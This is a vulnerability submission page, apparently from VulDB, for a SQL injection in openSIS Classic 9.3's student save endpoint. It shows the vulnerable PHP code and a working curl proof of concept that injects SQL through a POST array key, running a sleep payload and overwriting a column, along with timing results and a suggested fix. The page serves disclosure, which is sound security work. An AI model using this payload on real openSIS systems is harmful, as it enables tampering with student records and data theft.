Gửi #954959: os4ed openSIS Classic (Community Edition) 9.3 SQL Injectionthông tin

tiêu đềos4ed openSIS Classic (Community Edition) 9.3 SQL Injection
Mô tả## Affected Software - **Product**: openSIS Classic (Community Edition) - **Version**: 9.3 - **Repository**: https://github.com/OS4ED/openSIS-Classic - **Source revision**: master commit `ec86d7da2abbd0fc1b51c5cad250da043dcb6110` (HEAD at the 2026-06-02 release of 9.3; the repository has no V9.3 tag) ## Vulnerability Description The student information save endpoint (`modules/students/Student.php`, the save action of the General Information tab) builds its `UPDATE students` statement by concatenating the **array keys** of the POST form field `students[]` into the SET clause as column names. The keys are never validated or parameterized, so an attacker can embed arbitrary SQL expressions inside a key; the injected fragment becomes part of the SET clause and is executed. Injection and execution happen in the same request: as soon as the save request is submitted, the attacker-controlled SET expression runs with the application's database credentials. This allows an attacker to rewrite arbitrary columns of the `students` table (a key shaped like `GENDER=<expression>/*,/*/GENDER` writes the expression's result into an attacker-chosen column) and to read arbitrary data bit by bit via boolean-based time-delay injection. The written values persist in the database, which is what makes this a stored injection. ## Root Cause `modules/students/Student.php` (the save-student branch): ```php $sql = "UPDATE students SET "; // ... foreach ($_REQUEST['students'] as $column_name => $value) { // ... if (stripos($_SERVER['SERVER_SOFTWARE'], 'linux')) { $sql .= "$column_name=" . "'" . str_replace("'", "''", str_replace("\'", "'", trim($value))) . "',"; } else $sql .= "$column_name=" . "'" . str_replace("'", "''", str_replace("\'", "'", trim($value))) . "',"; // ... } // ... $sql = substr($sql, 0, -1) . " WHERE STUDENT_ID='$_REQUEST[student_id]'"; if (!$error) { DBQuery($sql); ``` `$column_name` is the key of the POST form field `students[...]`, i.e. a fully attacker-controlled string. Only `$value` gets quote-escaping here (and the value-side validation in `paramlib_validation()` only branches on known field names and validates the value itself); the key is concatenated into the SET clause at the column-name position with no whitelist and no parameterization. The assembled statement is handed straight to `DBQuery()`. ## Proof of Concept Log in as an administrator (the student save action is a back-office function), then submit a save request whose `students[]` field name carries the injection. `<session_cookie>` is the session cookie obtained from the admin login; `<target>` is the target host. The injected key below adds a `sleep(5)` expression and writes a marker value into the GENDER column: ```bash curl -s -o /dev/null -w '%{time_total}\n' -X POST \ 'http://<target>/Modules.php?modname=students/Student.php&include=GeneralInfoInc&category_id=1&student_id=1&modfunc=update' \ -b '<session_cookie>' \ --data-urlencode 'students[GENDER]=(select/**/if(1=1,sleep(5),0))/**/,/**/GENDER]=zdqktruebbb' ``` A benign request (uninjected key) as control: ```bash curl -s -o /dev/null -w '%{time_total}\n' -X POST \ 'http://<target>/Modules.php?modname=students/Student.php&include=GeneralInfoInc&category_id=1&student_id=1&modfunc=update' \ -b '<session_cookie>' \ --data-urlencode 'students[GENDER]=zdqkbaseaaa' ``` Expected result: the injected request takes about 5 seconds (the sleep expression executes inside the database) while the control takes about 0.2 s; afterwards the GENDER column of the target student reads `zdqktruebbb` — the written value is dictated by the injected expression and persists. | Request | Response time | | -------------------------------------------------- | ------------------------------- | | Control (`students[GENDER]=zdqkbaseaaa`) | 0.192 s / 0.212 s (repeated) | | Injected key, false condition `if(1=2,sleep(5),0)` | 0.187 s | | Injected key, true condition `if(1=1,sleep(5),0)` | **5.197 s** (rerun **5.206 s**) | Database state check (read-only query on the GENDER column of `students` with `STUDENT_ID=1`): ## Impact An attacker with back-office administrative access can execute arbitrary SET expressions with the application's database credentials: rewriting any column of the `students` table (including sensitive fields such as password hashes and account-enable flags), and reading arbitrary database content bit by bit through boolean-based time-delay injection. The injected writes persist, so tampered student records stay effective across every page and report that reads them. ## Suggested Fix Use parameterized queries/prepared statements, or validate the array keys against a whitelist of actual column names, instead of concatenating the user-controlled key into the UPDATE statement.
Nguồn⚠️ https://github.com/OS4ED/openSIS-Classic/issues/475
Người dùng
 360alphalab (UID 100924)
Đệ trình01/09/2026 07:49 (cách đây 30 ngày)
Kiểm duyệt30/09/2026 07:51 (29 days later)
Trạng tháiđược chấp nhận
Mục VulDB411869 [OS4ED openSIS-Classic đến 9.3 General Information Tab Student.php save action students Tiêm SQL]
điểm20

Interested in the pricing of exploits?

See the underground prices here!